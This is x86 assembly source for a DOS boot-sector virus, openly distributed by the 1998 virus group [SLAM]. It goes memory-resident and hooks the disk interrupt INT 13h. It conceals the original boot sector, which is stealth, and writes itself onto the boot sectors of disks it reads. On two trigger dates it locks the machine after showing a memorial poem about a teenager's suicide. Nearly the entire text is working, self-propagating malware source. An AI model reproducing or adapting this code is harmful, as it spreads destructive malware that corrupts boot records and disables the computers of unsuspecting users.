comment ~
      Here's the source code to CyberYoda's BS virus. Enjoy...
                                                              [VD/SLAM]
~
.286
.model tiny
.code
        org 0

Memorial:
        jmp short Entry_Virus
        db 3ch dup (0)
Entry_Virus:
        xor di, di                      ; DI = 0
        cli                             ; Clear Interrupts
       	mov ds, di                      ; DS = 0
        mov ss, di			; SS = 0
	add di, 100h
        cld                             ; Clear Direction Flag
	mov bx, word ptr ds:[di+313h]	; Get amount of Free Mem
	dec bx
	dec bx				; Decrease Amount of Free Mem
        mov word ptr ds:[di+313h], bx	; Set amount of Free Mem
	shl bx, 6                       ; Shift left with 6 (Div by 2^6)
	mov es, bx                      ; ES = New Segment
	mov sp, 7C00h                   ; SS:SP = 0:7C00h
        sti                             ; Restor Interrupts
	mov si, sp                      ; SI = 7C00h
	push ds
	push di
	pop cx				; CX = 100h Bytes to copy
	pop di				; DI = 0
        rep movsw
	push bx                         ; Push Segment
        mov ax, offset Mem_Entry	; Load Mem_Entry Offset
        push ax                         ; Push It
        retf
Mem_Entry:
	xor di, di
	push 0F000h
	pop es				; ES = F000h
	mov ax, 18CDh			; Search for 'Int 18h'
	dec cx				; CX should equal FFFFh
Scasw_Loop:
	scasw
	je Found
	dec di
	loop Scasw_Loop
Found:
        push es
	dec di
	dec di
	push di
	mov es, bx
	mov si, 13h*4h
	lea di, Original_13h
	movsw				; Move Offset
	movsw				; Move Segment
	pop word ptr DS:[13h*4]		; Pop Offset (DI from previous)
	pop word ptr DS:[13h*4+2]	; Pop F000h
	mov word ptr DS:[18h*4], offset Int_13h_Handler ; Set New Offset
	mov word ptr DS:[18h*4+2], ES	; Set new Segment
	push cs
	pop es				; ES = CS
        mov bx, Offset Second_Sector	; Read to ES:512
        mov cx, 8h			; Where Second Sector is.
        xor dh, dh			; Zero Head
	call Read_Sector
	mov ah, 4			; Get Date
	int 1ah
	cmp dx, 0910h			; Is it his Birth Day?
        je Payload
	cmp dx, 0222h			; Is it his Departure Date?
	je Payload
Reboot:
	int 19h				; Reboot
Payload:
        push cs
	pop ds
	push cs
	pop es
	mov si, 512
	mov di, 512
	mov cx, 256
	mov bx, 1010101010101010b
Xor_Loop:
	lodsw
	xor ax, bx
	stosw
	loop Xor_Loop
	mov ax, 600h			; Clear Screen
	;xor cx, cx
	mov dx, 1950h			; 80x25
	xor bx, bx
	Int 10h
	mov ah, 13h			; Print Text
	mov bl, 1001b			; Light Blue
	xor di, di
Print_Loop:
	mov bp, word ptr CS:[Data + di]		; Location
	mov cl, byte ptr CS:[Data + 2 + di]	; Length
	mov dx, word ptr CS:[Data + 3 + di]	; Row and Column
	Int 10h
	add di, 5
	cmp di, 50		     	; Nine Strings to Print
	jb Print_Loop
	mov ax, 01010h	     		; Set Background Color
	xor bx, bx
	mov cx, 0FFFFh	     		; White
	mov dh, 0FFh
	Int 10h
	jmp $		     		; Stall Computer
Read_Sector:
	mov di, 3
Read:
	xor ax, ax			; AX = 0
	call Int_13h			; Reset Disk System
	mov ax, 201h			; Read into Memory
	call Int_13h			; Original Int 13h
	jnb Exit_Read			; Keep reading until No Error
	dec di
	jnz Read
Exit_Read:
	ret


Int_13h_Handler:
	cli		     		; Clear Interrupts
	add sp, 6h	     		; Take off for the Int 18h
	sti		     		; Restore Interrupts
	cmp cx, 1h			; Sector = 0?
	jne Exit
	cmp dh, 0h			; Head = 0?
	jne Exit
	cmp ah, 2h			; Read?
	jne Exit
	Call Int_13h			; Allow Read
	jnc Call_Read			; If no Problem Call Read
Exit:

db 0eah
Original_13h dd ?

Call_Read:
	pushf
	pusha
	push ds es
	cmp word ptr es:[bx+offset Marker], 'BT'
	jne Infect
Stealth:
	mov cx, 9h
	call Read_Sector		; Read Original Boot Sector
Exit_Stealth:
	pop es ds
	popa
	popf
	retf 2

Infect:
	push cs cs
	pop ds es			; DS=ES=CS
	mov bx, 1024			; After Our Virus
	Call Read_Sector
	mov cx, 3Ch			; Copy 3Ch bytes of Boot Stuff
	mov si, 1026			; From CS:1026
	mov di, 2			; To CS:2
	cld				; Clear Direction Flag
	rep movsb			; Move From DS:SI to ES:DI
	mov cx, 40h
	mov si, 5BEh
	mov di, 1BEh
	cld
	rep movsb
	mov bx, 512
	xor dh, dh			; Head 0
	mov cx, 8h			; Track 0, Sector 8
	mov di, 3
Save_MBR_BS:
	xor ax, ax
	Int 13h
	mov ax, 302h			; Write 1 Sector, MBR/BS
	Call Int_13h
	jnb MBR_BS_Saved		; No Problem Continue
	cmp al, 3h			; Is the Problem Write Protection?
	je Exit_Stealth			; Exit if it is
	dec di				; Otherwise Retry 3 times
	jnz Save_MBR_BS
	jmp short Exit_Stealth		; Disk is bad, Abort.
MBR_BS_Saved:
	xor bx, bx                      ; From CS:0
	mov cx, 1h			; Track 0, Sector 1
	mov di, 3h
Write_Virus:
	xor ax, ax			; Reset Disk
	Int 13h
	mov ax, 301h			; Write 1 sectors, Virus
	call Int_13h
	jnb Virus_Written		; Not Problem Continue
	cmp al, 3h			; Not likely, but just in case
	je Exit_Stealth			; Its not too late to abort
	dec di				; Otherwise Retry 3 times
	jnz Write_Virus
Virus_Written:
	jmp short Exit_Stealth
Int_13h:
	pushf				; Push Flags
	call dword ptr cs:[Original_13h]; Call Orginal Int 13h
	ret				; Return
Marker db 'TB'

ORG 1BEh

ORG 1FEh
	db 055h, 0AAh
Second_Sector:

Trent 	db 	'-= Trenton A. Breazeale =-'
Poem1 	db 	'-= So on I worked and waited for my light.        =-'
Poem2	db	'-= Not knowing, I settled into my bed;            =-'
Poem3	db	'-= That Trenton Breazeale, one calm winter night, =-'
Poem4	db	'-= Went home and put a bullet through his head.   =-'
Info    db      '-= September 10, 1980 - February 22, 1998 =-'
RIP	db	'-= R.I.P. Good Buddy.  You will never be forgotten. =-'
Please 	db 	'Please Help Somebody Today.'
Please2	db	'Tomorrow may be too late.'
Late	db	'Tomorrow was too late to help Trent...'
End_Msg:

Data:

Trentbp dw offset Trent
Trentcl db (Offset Poem1 - Offset Trent)
Trentdl db (80 - (Offset Poem1 - Offset Trent))/2
Trentdh db 3

Poem1bp dw Offset Poem1
Poem1cl db (Offset Poem2 - Offset Poem1)
Poem1dl db (80 - (Offset Info-Offset Poem1)/4)/2
Poem1dh db 6

Poem2bp dw offset Poem2
Poem2cl db (Offset Poem3 - Offset Poem2)
Poem2dl db (80 - (Offset Info-Offset Poem1)/4)/2
Poem2dh db 7

Poem3bp dw offset Poem3
Poem3cl db (Offset Poem4 - Offset Poem3)
Poem3dl db (80 - (Offset Info-Offset Poem1)/4)/2
Poem3dh db 8

Poem4bp dw offset Poem4
Poem4cl db (Offset Info - Offset Poem4)
Poem4dl db (80 - (Offset Info-Offset Poem1)/4)/2
Poem4dh db 9

Infobp dw offset Info
Infocl db (Offset Rip - Offset Info)
Infodl db (80 - (Offset Rip - Offset Info))/2
Infodh db 13

Ripbp dw offset Rip
Ripcl db (Offset Please - Offset Rip)
Ripdl db (80 - (Offset Please - Offset Rip))/2
Ripdh db 15

Pleasebp dw offset Please
Pleasecl db (Offset Please2 - Offset Please)
Pleasedl db (80 - (Offset Please2 - Offset Please))/2
Pleasedh db 18

Please2bp dw offset Please2
Please2cl db (Offset Late - Offset Please2)
Please2dl db (80 - (Offset Late - Offset Please2))/2
Please2dh db 19

Latebp dw offset Late
Latecl db (Offset End_Msg - Offset Late)
Latedl db (80 - (Offset End_Msg - Offset Late))/2
Latedh db 22

Author db '(C) ',27h, '98 CyberDarkness & CyberYoda [SLAM]'

End Memorial